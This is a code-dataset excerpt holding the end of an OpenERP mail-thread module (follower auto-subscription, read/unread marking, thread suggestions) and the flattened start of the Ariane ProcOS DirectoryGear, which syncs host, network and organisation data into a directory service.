auto_follow_fields=['user_id'], context=None): """ Returns the list of relational fields linking to res.users that should trigger an auto subscribe. The default list checks for the fields - called 'user_id' - linking to res.users - with track_visibility set In OpenERP V7, this is sufficent for all major addon such as opportunity, project, issue, recruitment, sale. Override this method if a custom behavior is needed about fields that automatically subscribe users. """ user_field_lst = [] for name, column_info in self._all_columns.items(): if name in auto_follow_fields and name in updated_fields and getattr(column_info.column, 'track_visibility', False) and column_info.column._obj == 'res.users': user_field_lst.append(name) return user_field_lst def message_auto_subscribe(self, cr, uid, ids, updated_fields, context=None, values=None): """ Handle auto subscription. Two methods for auto subscription exist: - tracked res.users relational fields, such as user_id fields. Those fields must be relation fields toward a res.users record, and must have the track_visilibity attribute set. - using subtypes parent relationship: check if the current model being modified has an header record (such as a project for tasks) whose followers can be added as followers of the current records. Example of structure with project and task: - st_project_1.parent_id = st_task_1 - st_project_1.res_model = 'project.project' - st_project_1.relation_field = 'project_id' - st_task_1.model = 'project.task' :param list updated_fields: list of updated fields to track :param dict values: updated values; if None, the first record will be browsed to get the values. Added after releasing 7.0, therefore not merged with updated_fields argumment. """ subtype_obj = self.pool.get('mail.message.subtype') follower_obj = self.pool.get('mail.followers') new_followers = dict() # fetch auto_follow_fields: res.users relation fields whose changes are tracked for subscription user_field_lst = self._message_get_auto_subscribe_fields(cr, uid, updated_fields, context=context) # fetch header subtypes header_subtype_ids = subtype_obj.search(cr, uid, ['|', ('res_model', '=', False), ('parent_id.res_model', '=', self._name)], context=context) subtypes = subtype_obj.browse(cr, uid, header_subtype_ids, context=context) # if no change in tracked field or no change in tracked relational field: quit relation_fields = set([subtype.relation_field for subtype in subtypes if subtype.relation_field is not False]) if not any(relation in updated_fields for relation in relation_fields) and not user_field_lst: return True # legacy behavior: if values is not given, compute the values by browsing # @TDENOTE: remove me in 8.0 if values is None: record = self.browse(cr, uid, ids[0], context=context) for updated_field in updated_fields: field_value = getattr(record, updated_field) if isinstance(field_value, browse_record): field_value = field_value.id elif isinstance(field_value, browse_null): field_value = False values[updated_field] = field_value # find followers of headers, update structure for new followers headers = set() for subtype in subtypes: if subtype.relation_field and values.get(subtype.relation_field): headers.add((subtype.res_model, values.get(subtype.relation_field))) if headers: header_domain = ['|'] * (len(headers) - 1) for header in headers: header_domain += ['&', ('res_model', '=', header[0]), ('res_id', '=', header[1])] header_follower_ids = follower_obj.search( cr, SUPERUSER_ID, header_domain, context=context ) for header_follower in follower_obj.browse(cr, SUPERUSER_ID, header_follower_ids, context=context): for subtype in header_follower.subtype_ids: if subtype.parent_id and subtype.parent_id.res_model == self._name: new_followers.setdefault(header_follower.partner_id.id, set()).add(subtype.parent_id.id) elif subtype.res_model is False: new_followers.setdefault(header_follower.partner_id.id, set()).add(subtype.id) # add followers coming from res.users relational fields that are tracked user_ids = [values[name] for name in user_field_lst if values.get(name)] user_pids = [user.partner_id.id for user in self.pool.get('res.users').browse(cr, SUPERUSER_ID, user_ids, context=context)] for partner_id in user_pids: new_followers.setdefault(partner_id, None) for pid, subtypes in new_followers.items(): subtypes = list(subtypes) if subtypes is not None else None self.message_subscribe(cr, uid, ids, [pid], subtypes, context=context) # find first email message, set it as unread for auto_subscribe fields for them to have a notification if user_pids: for record_id in ids: message_obj = self.pool.get('mail.message') msg_ids = message_obj.search(cr, SUPERUSER_ID, [ ('model', '=', self._name), ('res_id', '=', record_id), ('type', '=', 'email')], limit=1, context=context) if not msg_ids: msg_ids = message_obj.search(cr, SUPERUSER_ID, [ ('model', '=', self._name), ('res_id', '=', record_id)], limit=1, context=context) if msg_ids: self.pool.get('mail.notification')._notify(cr, uid, msg_ids[0], partners_to_notify=user_pids, context=context) return True #------------------------------------------------------ # Thread state #------------------------------------------------------ def message_mark_as_unread(self, cr, uid, ids, context=None): """ Set as unread. """ partner_id = self.pool.get('res.users').browse(cr, uid, uid, context=context).partner_id.id cr.execute(''' UPDATE mail_notification SET read=false WHERE message_id IN (SELECT id from mail_message where res_id=any(%s) and model=%s limit 1) and partner_id = %s ''', (ids, self._name, partner_id)) return True def message_mark_as_read(self, cr, uid, ids, context=None): """ Set as read. """ partner_id = self.pool.get('res.users').browse(cr, uid, uid, context=context).partner_id.id cr.execute(''' UPDATE mail_notification SET read=true WHERE message_id IN (SELECT id FROM mail_message WHERE res_id=ANY(%s) AND model=%s) AND partner_id = %s ''', (ids, self._name, partner_id)) return True #------------------------------------------------------ # Thread suggestion #------------------------------------------------------ def get_suggested_thread(self, cr, uid, removed_suggested_threads=None, context=None): """Return a list of suggested threads, sorted by the numbers of followers""" if context is None: context = {} # TDE HACK: originally by MAT from portal/mail_mail.py but not working until the inheritance graph bug is not solved in trunk # TDE FIXME: relocate in portal when it won't be necessary to reload the hr.employee model in an additional bridge module if self.pool['res.groups']._all_columns.get('is_portal'): user = self.pool.get('res.users').browse(cr, SUPERUSER_ID, uid, context=context) if any(group.is_portal for group in user.groups_id): return [] threads = [] if removed_suggested_threads is None: removed_suggested_threads = [] thread_ids = self.search(cr, uid, [('id', 'not in', removed_suggested_threads), ('message_is_follower', '=', False)], context=context) for thread in self.browse(cr, uid, thread_ids, context=context): data = { 'id': thread.id, 'popularity': len(thread.message_follower_ids), 'name': thread.name, 'image_small': thread.image_small } threads.append(data) return sorted(threads, key=lambda x: (x['popularity'], x['id']), reverse=True)[:3]
codeparrot/github-code-clean
# Ariane ProcOS plugin # Gears # # Copyright (C) 2015 echinopsii # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import logging import socket import threading import time import timeit import traceback from sys import platform as _platform import subprocess from ariane_clip3.exceptions import ArianeMessagingTimeoutError from ariane_clip3.mapping import ContainerService, Container, NodeService, Node, Endpoint, EndpointService, Transport, \ Link, LinkService, Gate, GateService from ariane_clip3.directory import LocationService, Location, RoutingAreaService, RoutingArea, OSInstanceService,\ OSInstance, SubnetService, Subnet, IPAddressService, IPAddress, EnvironmentService, Environment, TeamService, Team,\ OSTypeService, OSType, Company, CompanyService, NICService, NIC from ariane_clip3.injector import InjectorGearSkeleton from ariane_procos.components import SystemComponent from ariane_procos.config import RoutingAreaConfig, SubnetConfig from ariane_procos.system import NetworkInterfaceCard, MapSocket from ariane_clip3.domino import DominoActivator __author__ = 'mffrench' LOGGER = logging.getLogger(__name__) class DirectoryGear(InjectorGearSkeleton): def __init__(self): LOGGER.debug("DirectoryGear.__init__") super(DirectoryGear, self).__init__( gear_id='ariane.community.plugin.procos.gears.cache.directory_gear@' + str(SystemGear.hostname), gear_name='procos_directory_gear@' + str(SystemGear.hostname), gear_description='Ariane ProcOS directory gear for ' + str(SystemGear.hostname), gear_admin_queue='ariane.community.plugin.procos.gears.cache.directory_gear@' + str(SystemGear.hostname), running=False ) self.update_count = 0 self.is_network_sync_possible = True self.current_possible_network = [] def on_start(self): LOGGER.debug("DirectoryGear.on_start") self.running = True self.cache(running=self.running) def on_stop(self): LOGGER.debug("DirectoryGear.on_stop") if self.running: self.running = False self.cache(running=self.running) def on_failure(self, exception_type, exception_value, traceback_): LOGGER.debug("DirectoryGear.on_failure") LOGGER.error("DirectoryGear.on_failure - " + exception_type.__str__() + "/" + exception_value.__str__()) LOGGER.error("DirectoryGear.on_failure - " + traceback_.format_exc()) if self.running: self.running = False self.cache(running=self.running) def gear_start(self): LOGGER.debug("DirectoryGear.gear_start") self.on_start() LOGGER.info('procos_directory_gear@' + str(SystemGear.hostname) + ' has been started.') def gear_stop(self): LOGGER.debug("DirectoryGear.gear_stop") if self.running: self.running = False self.cache(running=self.running) LOGGER.info('procos_directory_gear@' + str(SystemGear.hostname) + ' has been stopped.') def compute_current_possible_network(self, operating_system): LOGGER.debug("DirectoryGear.compute_current_possible_network") # Find current Location, routing area and subnets according to runtime IP on NICs and possible locations: current_possible_location_config = [] current_possible_routing_area_config = [] current_possible_subnet_config = [] current_possible_remote_vpn_location_config = [] current_possible_remote_vpn_routing_area_config = [] current_possible_remote_vpn_subnet_config = [] local_routing_area = SystemGear.config.local_routing_area if local_routing_area is not None: local_routing_area.name = SystemGear.hostname+".local" local_routing_area.description = SystemGear.hostname+".local routing area" local_routing_area.multicast = RoutingArea.RA_MULTICAST_NOLIMIT local_routing_area.ra_type = RoutingArea.RA_TYPE_VIRT else: local_routing_area = RoutingAreaConfig( name=SystemGear.hostname+".local", description=SystemGear.hostname+".local routing area", multicast=RoutingArea.RA_MULTICAST_NOLIMIT, ra_type=RoutingArea.RA_TYPE_VIRT ) local_virt_subnet_config = [] for nic in operating_system.nics: nic_is_located = False LOGGER.debug("DirectoryGear.compute_current_possible_network - current nic: " + str(nic)) try: if nic.ipv4_address is not None: if not nic.ipv4_address.startswith('127'): for location_config in SystemGear.config.potential_locations: LOGGER.debug("DirectoryGear.compute_current_possible_network - current loc config: " + str(location_config)) for routing_area_config in location_config.routing_areas: LOGGER.debug("DirectoryGear.compute_current_possible_network - current RA config: " + str(routing_area_config)) for subnet_config in routing_area_config.subnets: LOGGER.debug("DirectoryGear.compute_current_possible_network - " "current SUB config: " + str(subnet_config)) if NetworkInterfaceCard.ip_is_in_subnet(nic.ipv4_address, subnet_config.subnet_ip, subnet_config.subnet_mask): if routing_area_config.type == RoutingArea.RA_TYPE_VPN: current_possible_remote_vpn_location_config.append(location_config) current_possible_remote_vpn_routing_area_config.append(routing_area_config) current_possible_remote_vpn_subnet_config.append(subnet_config) else: if location_config not in current_possible_location_config: current_possible_location_config.append(location_config) current_possible_routing_area_config.append(routing_area_config) current_possible_subnet_config.append(subnet_config) nic_is_located = True current_fqdn = MapSocket.get_cached_hostbyaddr(nic.ipv4_address) if current_fqdn is not None: SystemGear.fqdn = current_fqdn break if nic_is_located: break if nic_is_located: break if not nic_is_located: for subnet_config in local_routing_area.subnets: LOGGER.debug("DirectoryGear.compute_current_possible_network - " "current local RA subnet config: " + str(subnet_config)) if NetworkInterfaceCard.ip_is_in_subnet(nic.ipv4_address, subnet_config.subnet_ip, subnet_config.subnet_mask): local_virt_subnet_config.append(subnet_config) nic_is_located = True break if not nic_is_located: if nic.mac_address is not None: LOGGER.warn('DirectoryGear.compute_current_possible_network - ' 'nic ' + nic.mac_address + '/' + nic.ipv4_address + ' has not been located on the possibles networks') else: LOGGER.warn('DirectoryGear.compute_current_possible_network - ' 'nic ' + nic.ipv4_address + ' has not been located on the possibles networks') except Exception as e: print(e.__str__()) if current_possible_location_config.__len__() > 1: LOGGER.warn('DirectoryGear.compute_current_possible_network - ' 'multiple current possible location found - will ignore directories sync') elif current_possible_location_config.__len__() == 0: LOGGER.warn('DirectoryGear.compute_current_possible_network - ' 'no current possible location found - will ignore directories sync') if current_possible_location_config.__len__() != 1: self.is_network_sync_possible = False if current_possible_routing_area_config.__len__() == 0: self.is_network_sync_possible = False if current_possible_subnet_config.__len__() == 0: self.is_network_sync_possible = False if SystemGear.fqdn is None: SystemGear.fqdn = SystemGear.hostname LOGGER.debug("DirectoryGear.compute_current_possible_network - FQDN : " + str(SystemGear.fqdn)) self.current_possible_network = [ current_possible_location_config, current_possible_routing_area_config, current_possible_subnet_config, current_possible_remote_vpn_location_config, current_possible_remote_vpn_routing_area_config, current_possible_remote_vpn_subnet_config, local_routing_area, local_virt_subnet_config ] def sync_operating_system(self, operating_system): LOGGER.debug("DirectoryGear.sync_operating_system") # Sync Operating System if operating_system.osi_id is not None: LOGGER.debug("DirectoryGear.sync_operating_system - search by id") SystemGear.osi = OSInstanceService.find_os_instance(osi_id=operating_system.osi_id) if SystemGear.osi.name != SystemGear.hostname: SystemGear.osi = None operating_system.osi_id = None if SystemGear.osi is None: LOGGER.debug("DirectoryGear.sync_operating_system - search by hostname") SystemGear.osi = OSInstanceService.find_os_instance(osi_name=SystemGear.hostname) if SystemGear.osi is None: SystemGear.osi = OSInstance( name=SystemGear.hostname, description=SystemGear.config.system_context.description, admin_gate_uri=SystemGear.config.system_context.admin_gate_protocol+SystemGear.fqdn) LOGGER.debug("DirectoryGear.sync_operating_system - save new osi") SystemGear.osi.save() operating_system.osi_id = SystemGear.osi.id # SYNC EMBEDDING OSI if SystemGear.config.system_context.embedding_osi_hostname is not None and \ SystemGear.config.system_context.embedding_osi_hostname: LOGGER.debug("DirectoryGear.sync_operating_system - search embedding host by hostname") embedding_osi = OSInstanceService.find_os_instance( osi_name=SystemGear.config.system_context.embedding_osi_hostname ) if embedding_osi is not None and SystemGear.osi.embedding_osi_id is not embedding_osi.id: SystemGear.osi.embedding_osi_id = embedding_osi.id @staticmethod def sync_operating_system_type(operating_system): LOGGER.debug("DirectoryGear.sync_operating_system_type") if SystemGear.osi is None: LOGGER.error('DirectoryGear.sync_operating_system_type - operating system instance is not synced') return # Sync OS Type if operating_system.ost_id is not None and operating_system.ost_id != 0: SystemGear.ost = OSTypeService.find_ostype(ost_id=operating_system.ost_id) if SystemGear.ost is not None and SystemGear.osi.ost_id != SystemGear.ost.id: SystemGear.ost = None SystemGear.ost_company = None SystemGear.osi.ost_id = 0 SystemGear.osi.save() if SystemGear.ost is None: SystemGear.ost_company = CompanyService.find_company( cmp_name=SystemGear.config.system_context.os_type.company.name ) if SystemGear.ost_company is None: SystemGear.ost_company = Company( name=SystemGear.config.system_context.os_type.company.name, description=SystemGear.config.system_context.os_type.company.description ) SystemGear.ost_company.save() SystemGear.ost = OSTypeService.find_ostype(ost_name=SystemGear.config.system_context.os_type.name, ost_arch=SystemGear.config.system_context.os_type.architecture) if SystemGear.ost is None: SystemGear.ost = OSType( name=SystemGear.config.system_context.os_type.name, architecture=SystemGear.config.system_context.os_type.architecture, os_type_company_id=SystemGear.ost_company.id ) SystemGear.ost.save() if SystemGear.osi.ost_id != SystemGear.ost.id: SystemGear.osi.ost_id = SystemGear.ost.id SystemGear.osi.save() operating_system.ost_id = SystemGear.ost.id @staticmethod def sync_environment(operating_system): LOGGER.debug("DirectoryGear.sync_environment") if SystemGear.osi is None: LOGGER.error('DirectoryGear.sync_environment - operating system instance is not synced') return # Sync environment if SystemGear.config.organisation_context is not None and \ SystemGear.config.organisation_context.environment is not None: if operating_system.environment_id is not None: SystemGear.environment = EnvironmentService.find_environment(operating_system.environment_id) if SystemGear.environment is not None and \ SystemGear.environment.name != SystemGear.config.organisation_context.environment.name: SystemGear.environment.del_os_instance(SystemGear.osi) SystemGear.environment = None operating_system.environment_id = None if SystemGear.environment is None: SystemGear.environment = EnvironmentService.find_environment( env_name=SystemGear.config.organisation_context.environment.name ) if SystemGear.environment is None: SystemGear.environment = Environment( name=SystemGear.config.organisation_context.environment.name, description=SystemGear.config.organisation_context.environment.description, color_code=SystemGear.config.organisation_context.environment.color_code ) SystemGear.environment.save() operating_system.environment_id = SystemGear.environment.id SystemGear.osi.add_environment(SystemGear.environment) else: if operating_system.environment_id is not None: environment = EnvironmentService.find_environment(operating_system.environment_id) environment.del_os_instance(SystemGear.osi) operating_system.environment_id = None @staticmethod def sync_team(operating_system): LOGGER.debug("DirectoryGear.sync_team") if SystemGear.osi is None: LOGGER.error('DirectoryGear.sync_team - operating system instance is not synced') return # Sync team if SystemGear.config.organisation_context is not None and \ SystemGear.config.organisation_context.team is not None: if operating_system.team_id is not None: SystemGear.team = TeamService.find_team(team_id=operating_system.team_id) if SystemGear.team is not None and \ SystemGear.team.name != SystemGear.config.organisation_context.team.name: SystemGear.team.del_os_instance(SystemGear.osi) SystemGear.team = None operating_system.team_id = None if SystemGear.team is None: SystemGear.team = TeamService.find_team(team_name=SystemGear.config.organisation_context.team.name) if SystemGear.team is None: SystemGear.team = Team(name=SystemGear.config.organisation_context.team.name, color_code=SystemGear.config.organisation_context.team.color_code, description=SystemGear.config.organisation_context.team.description) SystemGear.team.save() operating_system.team_id = SystemGear.team.id SystemGear.osi.add_team(SystemGear.team) else: if operating_system.team_id is not None: team = TeamService.find_team(team_id=operating_system.team_id) team.del_os_instance(SystemGear.osi) operating_system.team_id = None def sync_network(self, operating_system): LOGGER.debug("DirectoryGear.sync_network") if SystemGear.osi is None: LOGGER.error('DirectoryGear.sync_network - operating system instance is not synced') return # Sync network stuffs current_possible_location_config = self.current_possible_network[0] current_possible_routing_area_config = self.current_possible_network[1] current_possible_subnet_config = self.current_possible_network[2] current_possible_remote_vpn_location_config = self.current_possible_network[3] current_possible_remote_vpn_routing_area_config = self.current_possible_network[4] current_possible_remote_vpn_subnet_config = self.current_possible_network[5] local_routing_area = self.current_possible_network[6] local_virt_subnet_config = self.current_possible_network[7] current_location = current_possible_location_config[0] # Sync location LOGGER.debug("DirectoryGear.sync_network - Sync location") if operating_system.location_id is not None: SystemGear.location = LocationService.find_location(operating_system.location_id) if SystemGear.location is not None and SystemGear.location.name != current_location.name: # This OS has moved LOGGER.debug("DirectoryGear.sync_network - operating system has a new location !") SystemGear.location = None operating_system.location_id = None for subnet_id in SystemGear.osi.subnet_ids: subnet_to_unbind = SubnetService.find_subnet(sb_id=subnet_id) if subnet_to_unbind is not None: SystemGear.osi.del_subnet(subnet_to_unbind) operating_system.routing_area_ids.remove(subnet_to_unbind.routing_area_id) operating_system.subnet_ids.remove(subnet_id) embedding_osi = OSInstanceService.find_os_instance(osi_id=SystemGear.osi.embedding_osi_id) embedding_osi.del_embedded_osi(SystemGear.osi) for ip_id in SystemGear.osi.ip_address_ids: ip_to_unbind = IPAddressService.find_ip_address(ipa_id=ip_id) if ip_to_unbind is not None: ip_to_unbind.remove() SystemGear.osi.sync() if SystemGear.location is None: SystemGear.location = LocationService.find_location(loc_name=current_location.name) if SystemGear.location is None: SystemGear.location = Location(name=current_location.name, description=current_location.description, dc_type=current_location.type, address=current_location.address, zip_code=current_location.zipcode, town=current_location.town, country=current_location.country, gps_latitude=current_location.gps_lat, gps_longitude=current_location.gps_lng) SystemGear.location.save() operating_system.location_id = SystemGear.location.id # Sync routing areas and subnets LOGGER.debug("DirectoryGear.sync_network - Sync ra and subnets") for cached_routing_area_id in operating_system.routing_area_ids: cached_routing_area = RoutingAreaService.find_routing_area(ra_id=cached_routing_area_id) if cached_routing_area is not None: mimic_cached_routing_area_config = RoutingAreaConfig(name=cached_routing_area.name) if mimic_cached_routing_area_config in current_possible_routing_area_config or \ mimic_cached_routing_area_config in current_possible_remote_vpn_routing_area_config or \ mimic_cached_routing_area_config != local_routing_area: for subnet_id in cached_routing_area.subnet_ids: subnet = SubnetService.find_subnet(sb_id=subnet_id) if subnet is not None: mimic_cached_subnet_config = SubnetConfig(name=subnet.name) if mimic_cached_subnet_config in current_possible_subnet_config or \ mimic_cached_subnet_config in current_possible_remote_vpn_subnet_config: if subnet.id not in operating_system.subnet_ids: operating_system.subnet_ids.append(subnet.id) if subnet.id not in SystemGear.osi.subnet_ids: SystemGear.osi.add_subnet(subnet) if subnet not in SystemGear.subnets: SystemGear.subnets.append(subnet) if mimic_cached_subnet_config in current_possible_subnet_config: current_possible_subnet_config.remove(mimic_cached_subnet_config) if mimic_cached_subnet_config in current_possible_remote_vpn_subnet_config: current_possible_remote_vpn_subnet_config.remove(mimic_cached_subnet_config) else: if subnet.id in operating_system.subnet_ids: operating_system.subnet_ids.remove(subnet.id) if subnet.id in SystemGear.osi.subnet_ids: SystemGear.osi.del_subnet(subnet) if subnet in SystemGear.subnets: SystemGear.subnets.remove(subnet) if cached_routing_area not in SystemGear.routing_areas: SystemGear.routing_areas.append(cached_routing_area) if mimic_cached_routing_area_config in current_possible_routing_area_config: current_possible_routing_area_config.remove(mimic_cached_routing_area_config) if mimic_cached_routing_area_config in current_possible_remote_vpn_routing_area_config: current_possible_remote_vpn_routing_area_config.remove(mimic_cached_routing_area_config) elif mimic_cached_routing_area_config != local_routing_area: for subnet_id in cached_routing_area.subnet_ids: subnet = SubnetService.find_subnet(sb_id=subnet_id) if subnet is not None: mimic_cached_subnet_config = SubnetConfig(name=subnet.name) if mimic_cached_subnet_config in current_possible_subnet_config: current_possible_subnet_config.remove(mimic_cached_subnet_config) if subnet.id in operating_system.subnet_ids: operating_system.subnet_ids.remove(subnet.id) if subnet.id in SystemGear.osi.subnet_ids: SystemGear.osi.del_subnet(subnet) if subnet in SystemGear.subnets: SystemGear.subnets.remove(subnet) if cached_routing_area in SystemGear.routing_areas: SystemGear.routing_areas.remove(cached_routing_area) else: operating_system.routing_area_ids.remove(cached_routing_area_id) for remote_vpn_loc_config in current_possible_remote_vpn_location_config: vpn_loc = LocationService.find_location(loc_name=remote_vpn_loc_config.name) if vpn_loc is None: vpn_loc = Location( name=remote_vpn_loc_config.name, description=remote_vpn_loc_config.description, address=remote_vpn_loc_config.address, zip_code=remote_vpn_loc_config.zipcode, town=remote_vpn_loc_config.town, country=remote_vpn_loc_config.country, gps_latitude=remote_vpn_loc_config.gps_lat, gps_longitude=remote_vpn_loc_config.gps_lng ) vpn_loc.save() for remote_routing_area_config in remote_vpn_loc_config.routing_areas: if remote_routing_area_config in current_possible_remote_vpn_routing_area_config: vpn_ra = RoutingAreaService.find_routing_area(ra_name=remote_routing_area_config.name) if vpn_ra is None: vpn_ra = RoutingArea(name=remote_routing_area_config.name, multicast=remote_routing_area_config.multicast, ra_type=remote_routing_area_config.type, description=remote_routing_area_config.description) vpn_ra.save() vpn_ra.add_location(SystemGear.location) vpn_ra.add_location(vpn_loc) SystemGear.routing_areas.append(vpn_ra) operating_system.routing_area_ids.append(vpn_ra.id) for remote_subnet_config in remote_routing_area_config.subnets: if remote_subnet_config in current_possible_remote_vpn_subnet_config: vpn_subnet = SubnetService.find_subnet(sb_name=remote_subnet_config.name) if vpn_subnet is None: vpn_subnet = Subnet(name=remote_subnet_config.name, description=remote_subnet_config.description, routing_area_id=vpn_ra.id, ip=remote_subnet_config.subnet_ip, mask=remote_subnet_config.subnet_mask) vpn_subnet.save() vpn_subnet.add_location(SystemGear.location) vpn_subnet.add_location(vpn_loc) operating_system.subnet_ids.append(vpn_subnet.id) SystemGear.subnets.append(vpn_subnet) if vpn_subnet.id not in SystemGear.osi.subnet_ids: SystemGear.osi.add_subnet(vpn_subnet) for routing_area_config in current_possible_routing_area_config: routing_area = RoutingAreaService.find_routing_area(ra_name=routing_area_config.name) if routing_area is None: routing_area = RoutingArea(name=routing_area_config.name, multicast=routing_area_config.multicast, ra_type=routing_area_config.type, description=routing_area_config.description) routing_area.save() routing_area.add_location(SystemGear.location) operating_system.routing_area_ids.append(routing_area.id) SystemGear.routing_areas.append(routing_area) for subnet_config in routing_area_config.subnets: if subnet_config in current_possible_subnet_config: subnet = SubnetService.find_subnet(sb_name=subnet_config.name) if subnet is None: subnet = Subnet(name=subnet_config.name, description=subnet_config.description, routing_area_id=routing_area.id, ip=subnet_config.subnet_ip, mask=subnet_config.subnet_mask) subnet.save() subnet.add_location(SystemGear.location) operating_system.subnet_ids.append(subnet.id) SystemGear.subnets.append(subnet) if subnet.id not in SystemGear.osi.subnet_ids: SystemGear.osi.add_subnet(subnet) # CLEAN LOCAL SUBNETS FIRST LOGGER.debug("DirectoryGear.sync_network - Clean local subnets first") for local_subnet_config in local_virt_subnet_config: subnet = SubnetService.find_subnet(sb_name=local_subnet_config.name) if subnet is not None: if subnet.id in operating_system.subnet_ids: operating_system.subnet_ids.remove(subnet.id) if subnet in SystemGear.subnets: SystemGear.subnets.remove(subnet) subnet.remove() # THEN CLEAN LOCAL RA LOGGER.debug("DirectoryGear.sync_network - Then lean local ra") loc_ra = RoutingAreaService.find_routing_area(ra_name=local_routing_area.name) if loc_ra is not None: if loc_ra.id in operating_system.routing_area_ids: operating_system.routing_area_ids.remove(loc_ra.id) if loc_ra in SystemGear.routing_areas: SystemGear.routing_areas.remove(loc_ra) loc_ra.remove() # FINALLY REINIT LOCAL RA AND SUBNETS LOGGER.debug("DirectoryGear.sync_network - Reinit local ra and subnets") loc_ra = RoutingArea(name=local_routing_area.name, multicast=local_routing_area.multicast, ra_type=local_routing_area.type, description=local_routing_area.description) loc_ra.save() loc_ra.add_location(SystemGear.location) LOGGER.debug("DirectoryGear.sync_network - local ra reinit done") operating_system.routing_area_ids.append(loc_ra.id) loopback_subnet_conf = SubnetConfig( name=SystemGear.hostname+".loopback", description=SystemGear.hostname + " loopback subnet", subnet_ip="127.0.0.0", subnet_mask="255.0.0.0" ) if loopback_subnet_conf not in local_virt_subnet_config: local_virt_subnet_config.append(loopback_subnet_conf) for local_subnet_config in local_virt_subnet_config: subnet = Subnet(name=local_subnet_config.name, description=local_subnet_config.description, routing_area_id=loc_ra.id, ip=local_subnet_config.subnet_ip, mask=local_subnet_config.subnet_mask) subnet.save() subnet.add_location(SystemGear.location) SystemGear.osi.add_subnet(subnet) operating_system.subnet_ids.append(subnet.id) SystemGear.subnets.append(subnet) LOGGER.debug("DirectoryGear.sync_network - local sn " + str(subnet) + " reinit done") LOGGER.debug("DirectoryGear.sync_network - check former nics to be removed...") nics_2_rm = [] for nic_id in SystemGear.osi.nic_ids: still_here = False nic = NICService.find_nic(nic_id=nic_id) if nic is not None: for sniffed_nic in operating_system.nics: if (sniffed_nic.mac_address is None or not sniffed_nic.mac_address) or sniffed_nic.name == "lo": nicmcaddr = sniffed_nic.ipv4_fqdn else: nicmcaddr = sniffed_nic.mac_address if nic.mac_address == nicmcaddr: still_here = True if not still_here: nics_2_rm.append(nic) LOGGER.debug("DirectoryGear.sync_network - remove former nic for osi...") for nic_2_rm in nics_2_rm: LOGGER.debug("DirectoryGear.sync_network - getting ip attached to nic " + str(nic_2_rm)) if nic_2_rm.ipv4_fqdn: ip_address = IPAddressService.find_ip_address(ipa_fqdn=nic_2_rm.ipv4_fqdn) if ip_address is not None: SystemGear.osi.del_ip_address(ip_address) ip_address.remove() SystemGear.osi.del_nic(nic_2_rm) nic_2_rm.remove() LOGGER.debug("DirectoryGear.sync_network - Sync nic") for nic in operating_system.nics: is_in_subnet = False ip_address = None LOGGER.debug("DirectoryGear.sync_network - nic: " + str(nic)) if nic.ipv4_address is not None: if not nic.ipv4_address.startswith('127'): for subnet in SystemGear.subnets: LOGGER.debug("DirectoryGear.sync_network - non localhost subnet: " + str(subnet)) if NetworkInterfaceCard.ip_is_in_subnet(nic.ipv4_address, subnet.ip, subnet.mask): ip_address = IPAddressService.find_ip_address(ipa_ip_address=nic.ipv4_address, ipa_subnet_id=subnet.id) if ip_address is None: ip_address = IPAddress(ip_address=nic.ipv4_address, fqdn=nic.ipv4_fqdn, ipa_subnet_id=subnet.id, ipa_osi_id=SystemGear.osi.id) LOGGER.debug("DirectoryGear.sync_network - save new ip: " + str(ip_address)) ip_address.save() subnet.sync() else: if ip_address.ipa_os_instance_id != SystemGear.osi.id: ip_address.ipa_os_instance_id = SystemGear.osi.id LOGGER.debug("DirectoryGear.sync_network - upgrade ip: " + str(ip_address)) ip_address.save() subnet.is_default = nic.is_default is_in_subnet = True break else: loopback_subnet = SubnetService.find_subnet(sb_name=SystemGear.hostname+".loopback") ip_address = IPAddressService.find_ip_address(ipa_ip_address=nic.ipv4_address, ipa_subnet_id=loopback_subnet.id) if ip_address is not None and (ip_address.fqdn != nic.ipv4_fqdn or ip_address.ip_address != nic.ipv4_address or ip_address.ipa_subnet_id != loopback_subnet.id or ip_address.ipa_osi_id != SystemGear.osi.id): ip_address.remove() ip_address = IPAddress(ip_address=nic.ipv4_address, fqdn=nic.ipv4_fqdn, ipa_subnet_id=loopback_subnet.id, ipa_osi_id=SystemGear.osi.id) LOGGER.debug("DirectoryGear.sync_network - upgrade ip: " + str(ip_address)) ip_address.save() LOGGER.debug("DirectoryGear.sync_network - sync loopback subnet...") loopback_subnet.sync() elif ip_address is None: ip_address = IPAddress(ip_address=nic.ipv4_address, fqdn=nic.ipv4_fqdn, ipa_subnet_id=loopback_subnet.id, ipa_osi_id=SystemGear.osi.id) LOGGER.debug("DirectoryGear.sync_network - save new ip: " + str(ip_address)) ip_address.save() LOGGER.debug("DirectoryGear.sync_network - sync loopback subnet...") loopback_subnet.sync() is_in_subnet = True if is_in_subnet: if (nic.mac_address is None or not nic.mac_address) or nic.name == "lo": nicmcaddr = nic.ipv4_fqdn else: nicmcaddr = nic.mac_address if nicmcaddr is not None and nicmcaddr: LOGGER.debug("DirectoryGear.sync_network - searching nic from mcaddr " + str(nicmcaddr)) nic2save = NICService.find_nic(nic_mac_address=nicmcaddr) if nic2save is None: nic2save = NIC( name=SystemGear.hostname+"."+nic.name, mac_address=nicmcaddr, duplex=nic.duplex, speed=nic.speed, mtu=nic.mtu, nic_osi_id=operating_system.osi_id, nic_ipa_id=ip_address.id if ip_address is not None else None ) LOGGER.debug("DirectoryGear.sync_network - saving new nic " + str(nicmcaddr)) nic2save.save() else: to_upgrade = False if ip_address is not None and nic2save.nic_ipa_id != ip_address.id or\ ip_address is None and nic2save.nic_ipa_id != -1: nic2save.nic_ipa_id = ip_address.id if ip_address is not None else None to_upgrade = True if nic2save.nic_osi_id != operating_system.osi_id: nic2save.nic_osi_id = operating_system.osi_id to_upgrade = True if to_upgrade: LOGGER.debug("DirectoryGear.sync_network - ip_address: " + str(ip_address)) LOGGER.debug("DirectoryGear.sync_network - nic2save: " + str(nic2save)) nic2save.nic_ipa_id = ip_address.id if ip_address is not None else None nic2save.nic_osi_id = operating_system.osi_id LOGGER.debug("DirectoryGear.sync_network - upgrading new nic " + str(nicmcaddr)) nic2save.save() else: LOGGER.error("DirectoryGear.sync_network - Error while saving nic : " + str(nic)) SystemGear.osi = OSInstanceService.find_os_instance(osi_id=operating_system.osi_id) def init_ariane_directories(self, component): LOGGER.debug("DirectoryGear.init_ariane_directories") 